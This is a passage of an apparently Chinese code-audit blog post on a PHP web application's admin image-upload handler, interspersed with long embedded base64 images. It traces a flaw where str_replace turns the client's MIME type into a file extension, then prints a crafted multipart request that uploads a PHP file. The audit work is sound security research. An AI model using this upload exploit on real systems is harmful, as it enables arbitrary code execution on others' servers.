ZHNjIfBXyC8ywvoK8wfyvoiIiIiIiIiIiIiIiIicvu7ZW2/BfWLA37HPWKjuV8gvMoJ6Cu57+2/39/vaJiIiIiIiIiIiIiIiIiID11tb/u7vdw/zE8P+0Qr6FfKLjIDBhPt9hf59nVdEREREREREREREREREetdTsJ/4ucEE9z1V+Y8Uhfwiw6y3gL+/961WK2azGZPJ1OVNRERERERERERERERERM5cNBrt8haJRAiFQkA8uO+rmj9x+0hX9SvkFxlG3QP+7mF+4jbDMLBardhsNiwWvTRFREREREREREREREREhlNvRbbhcJhgMEg4HO7M8zpC/+5GI+hXkigyTHpqu99T0G8YBjabDYfDMWpjFREREREREREREREREZE4i8XSWZTr9/vx+/1dPj+Q6v7hZPh8Pi3qLTLE+gr4E4N+u92O3W4f8XU6RERERERERERERERERGRgYrEYPp/vlFb+iW8d2xP/O1xUyS8yxBJb9Hd83P3NMAxSUlJ6bP8hIiIiIiIiIiIiIiIiImOHYRgkJycTiUTweDyn5IEd+3QY7op+JYwiw6SncD8Wi2E2m0lNTVXALyIiIiIiIiIiIiIiInIW6cj5zGZzr1ngSFDKKDKE+mrPH4vFsFqtpKSkqD2/iIiIiIiIiIiIiIiIyFmoo2O31WrtM+gfzsBfIb/IEOnpBdu9gj85OXm0hiciIiIiIiIiIiIiIiIiQyQ5OfmUiv4Owx30K+QXGQbdZ+kYhoHT6RzlUYmIiIiIiIiIiIiIiIjIUHE6nRiGcUq37+FmGfZHEPkM6KtNP6AW/SJDrLGxEbvNOqhjXG7PoPbv3nkjPT19UMeLiIiIiIiIiIiIiMinW0ehr9vt7jHc75gAMNQ5oUL+McrlclFeXs7OnTtpbW0lNTWVqVOnkpeXx/nnn9/jMf/93/9NYWEhU6dOHeHRSk86Qn6Hw4HJNLpNM6qrq6mrq6O1tRWIh5XZ2dlMnz59VMclcjZpaWlR0C8iIiIiIiIiIiIiZw2fz8f777/PRRddhNU6uMI5GTiz2YzD4cDv9wOMSOGv4fP5hr9fwGnYsmULGzZs4IknnvhMVUB//PHH/PznP+ell17qdR+n08mXvvQlfvjDH3LBBRd0bk9KSuKnP/0pP/rRj0ZiqNKutyr+aDSKYRikpaWNyrja2tr4y1/+QmlpKS0tLT3uk5GRwUUXXcRll11GamrqyA5Q5AyMRiV/BwX9IiIiIiIiIiIiInI22L59O+vXrycjI4OvfvWrnHvuuaM9pCG1adMmysrKKCoqYvny5aM9HNra2ojFYphMJgzD6PIGQxv+j8lK/nXr1vHtb3+bq6666jMV8H/729/md7/7HQ6Hg1tuuYUbbriBnJwcxo8fT1ZWFkeOHOHw4cNs2rSJdevWUVxczFVXXcXTTz/N+PHjAYhEIqP8LIbGu+++y7PPPst7771HTU0NycnJ5OTkUFRUxA9/+EOmTZs22kPsU0fwb7fbR/yxw+Ewf/rTn3jjjTewWq3MnTuX3Nxcpk6d2lm5X11dzeHDhzl8+DB/+ctfeO2117j88su5+uqrMZvNIz5mkbOJKvpFRERERERERERE5GywaNEikpKS2LhxI//xH//BZZddxpVXXjnawxoSR44cYevWrWRkZPDmm28yb968Ue92brPZCAQCw9Kev7sxV8n/m9/8hrvuuou/+Zu/4dlnn8ViGZPzEIZUTU0N119/Pfv27eP+++/nm9/85oCqv3/yk5/wq1/9ivz8fDZt2sSsWbP4yU9+wn333TcCox4eVVVV3Hnnnbz++uukp6czf/58zjvvPOrq6igvL6eyshLDMLjnnnv46U9/OtrDBU5W8ANEo9EuH490FX9rayuPP/44NTU1zJkzh29+85v9hpFNTU2sXbuWvXv3MnPmTL7zne+oql/GvNGs5O+goF9ERERERERERERERls0GmX37t18/vOf7zVYDgaDPP/88+zdu5eioiJWrVo1wqMcemvXrmX//v3cfffd/OpXv2LWrFnccsstozqmWCyGy+UC6Kzg71jSO7GifyiM7kLh3fz4xz/m7//+71mzZg1r1679TAT8LS0tLFu2DLfbzbZt27jzzjsHHAz/y7/8C+vWraOyspLLL798mEc6/D766CMKCwt56623eOCBBzh69CibN2/moYceYu3atXz44Yfs2rWL888/nwceeIA77rhjtIfcGeYnvt8R8ttsthEdi9fr5d/+7d9oaGjg1ltv5Qc/+MGAQsjMzEx+8IMfcMstt3D8+HEeeughvF7v8A9Y5CzX4zIYvg9Z+0/3cM/Dm6gd8RGJyOmqfeVB7rnnQV7RC1dERERERERERM4y7733Hs8//zxlZWVdtvv9fp577jkOHjyIzWbjG9/4BgUFBZSWllJSUjJKox0adXV17Nmzh4svvphx48ZxySWXUFFRQV1d3aiOyzAMrFZrj/lh9/fP1JhI0aPRKHfccQe///3v+dnPfsYPf/jD0R7SiLnttttwOBy88847OJ3OQR+/atUqXnzxRa6//vphGN3IaW5u5itf+QopKSls27aN/Pz8Hvc755xzeOutt7jnnnt44oknKCws5Lbbbhvh0fYuMegfyUkq4XCYxx57jIaGBv7hH/6Bc845Z9DnWLx4MdnZ2Tz88MP8+7//O3ffffcotO73s/e3a7jx+w7ub3mSa3v6/Av3c++TL1P61j7qgImzr2T59+/lwTVLmJSw58trDFY91c/D3bGB2JOnPkqiQy/fy/cffIGtZdW0jptO4fLv8+Aj32fJpD4PG7LjO/j3/pY1N34fx/0t9DPkk0L1lK5fx5aKY7jDgCWFyXOXcfN1RWT3UARfv30d6zZVcCy+MynTCrn+1quZ3UNjB9e+Tby4sZTKBj8Ajqx8ilZez4qed2bTixsprWzAH9+ZghW3cHNRNv3V4jdtephfbIUl99zNisztPHPPeirzr+MfrpkxwIswvFpaWkiPvsvD8UFy95LRHtFYVsHanzxHZf4t/Mutc0/5bKi+hGef2Ihl5S+4fVHiZ9q/7v2cPf+6bsfVb2fduk1UHHMTv/2nUXj9rVzdwz0aqi9l/botA9q3496vavAThn5fV+0HdX0NYCElfyXfub2IzB4PCFFf8ixPbLSw8he3s6jHfbqOp+O1iCWF/JXf4fains8MLva99BTPVuZz571Xk9PTow/ienSOt3Q967Z0fP8AHFksvv1urs7te7yOrAJW3HIzRb1evPbzD/B6iIiIiIiIiIiIfNa8++67AJSWllJUVNS5PRAIcPDgQfbs2cPVV1/NxRdfzE033cTjjz/O5s2b+fznP8+4ceNGa9hnZMuWLVgsFi699FIALrnkEt5++23+8pe/cPPNN4/q2KxW64i07B/1kD8QCHDzzTezadMm/u///b98/etfH+0hjZjnn3+eTZs2sWXLlkEF/C+++CKVlV3jjkWLFrF9+/ahHuKI+eUvf0l9fT0vv/xyrwF/B7PZzEMPPcR7Line truncated
|
||||
<h3 id=toc-2>后台文件上传</h3>
|
||||
<p>通过审计我们发现触发文件上传的点是因为存在str_replace函数那么利用审计工具查看是否还有其他地方存在该漏洞点</p>
|
||||
<div class=highlight><pre><span></span><span class=n>str_replace</span><span class=p>(</span><span class=s1>'image/'</span><span class=p>,</span> <span class=s1>'.'</span><span class=p>,</span> <span class=err>$</span><span class=n>_FILES</span><span class=p>[</span><span class=s1>'file'</span><span class=p>][</span><span class=s1>'type'</span><span class=p>]);</span>
|
||||
</pre></div>
|
||||
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141545-237e402c-d793-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>审计/webapp/modules/extension/actions/uploadImgAction.class.php</p>
|
||||
<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240303141551-7c46ed92-d925-1.png><img src=data:image/png;base64,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 truncated
|
||||
<p>构造请求包</p>
|
||||
<div class=highlight><pre><span></span><span class=n>POST</span> <span class=o>/</span><span class=n>index</span><span class=o>.</span><span class=n>php</span><span class=err>?</span><span class=n>module</span><span class=o>=</span><span class=n>extension</span><span class=o>&</span><span class=n>action</span><span class=o>=</span><span class=n>uploadImg</span> <span class=n>HTTP</span><span class=o>/</span><span class=mf>1.1</span>
|
||||
<span class=n>Host</span><span class=p>:</span> <span class=mf>127.0</span><span class=o>.</span><span class=mf>0.1</span><span class=p>:</span><span class=mi>8080</span>
|
||||
<span class=n>Accept</span><span class=p>:</span> <span class=o>*/*</span>
|
||||
<span class=n>Accept</span><span class=o>-</span><span class=n>Encoding</span><span class=p>:</span> <span class=n>identity</span>
|
||||
<span class=n>Cache</span><span class=o>-</span><span class=n>Control</span><span class=p>:</span> <span class=n>no</span><span class=o>-</span><span class=n>cache</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span> <span class=n>multipart</span><span class=o>/</span><span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>boundary</span><span class=o>=--------------------------</span><span class=mi>371918364269932091066326</span>
|
||||
<span class=n>Cookie</span><span class=p>:</span> <span class=n>admin_mojavi</span><span class=o>=</span><span class=n>idaa1su8mvj9leoubg27osau0r</span><span class=p>;</span> <span class=n>XDEBUG_SESSION</span><span class=o>=</span><span class=n>PHPSTORM</span>
|
||||
<span class=n>User</span><span class=o>-</span><span class=n>Agent</span><span class=p>:</span> <span class=n>PostmanRuntime</span><span class=o>-</span><span class=n>ApipostRuntime</span><span class=o>/</span><span class=mf>1.1</span><span class=o>.</span><span class=mi>0</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Length</span><span class=p>:</span> <span class=mi>230</span>
|
||||
|
||||
<span class=o>----------------------------</span><span class=mi>371918364269932091066326</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Disposition</span><span class=p>:</span> <span class=n>form</span><span class=o>-</span><span class=n>data</span><span class=p>;</span> <span class=n>name</span><span class=o>=</span><span class=s2>"file"</span><span class=p>;</span> <span class=n>filename</span><span class=o>=</span><span class=s2>"PassWaf_3.php"</span>
|
||||
<span class=n>Content</span><span class=o>-</span><span class=n>Type</span><span class=p>:</span> <span class=n>image</span><span class=o>/</span><span class=n>php</span>
|
||||
|
||||
<span class=o><</span><span class=err>?</span><span class=n>php</span> <span class=nd>@phpinfo</span><span class=p>();</span> <span class=err>?</span><span class=o>></span>
|
||||
<span class=o>----------------------------</span><span class=mi>371918364269932091066326</span><span class=o>--</span>
|
||||
</pre></div>
|
||||
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141819-7f657130-d793-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABGUAAALFCAYAAABqJl6KAAEAAElEQVR4nOzdd3hUVfrA8e/09N4DIQlJ6BBK6L3jooLYe1tXxbqW37rurrqWFV1WVxd11wZ2RFERlN57h4Qe0nvv0+f+/phkSCBAAoEAvp/nyQOZufeec+9M5p55zznvUW3atEkZOHAgQgghhBBCCCGEEOLiUbd3BYQQQgghhBBCCCF+iyQoI4QQQgghhBBCCNEOtLU1NezdubO96yGEUBRQqdq7FkIIcVlRHA7MZjN6vR61RtPe1RFCiMuDtDuFuGRovby9GTB4cHvXQwghhBCi1YxGI8l79pDQrRt+/v7tXR0hhBBCiFaR6UtCCCGEEEIIIYQQ7UCCMkIIIYS4bMngeyGEEEJcziQoI4QQQojLltLeFRBCCCGEOA8SlBFCCCGEEEIIIYRoB9r2roAQQgghxLmS6UtCCCHE6SntMKRUFvZqHQnKCCGEEOKyJdOXhBBCiKbsdjt7jhexbE8mn606dNHLH989kEcmxqHT6S562Q2sVit1RiNenp5oNJp2qUN4eDgarRaDwYDqDJEqCcoIIYQQQgghhBBXkPvfWYnRYmvvavym5efn4+vriyE4+IzbSU4ZIYQQQgghhBDiCvGfxfuw2OztXQ0B1NXVYTabz7iNBGWEEEIIIYQQQogrxL70YuwOmeB7KbBardjtZw6QSVBGCCGEEEIIIYQQoh1IUEYIIYQQQgghhBCiHUiiXyGEEEIIIYQQ4jdArVLR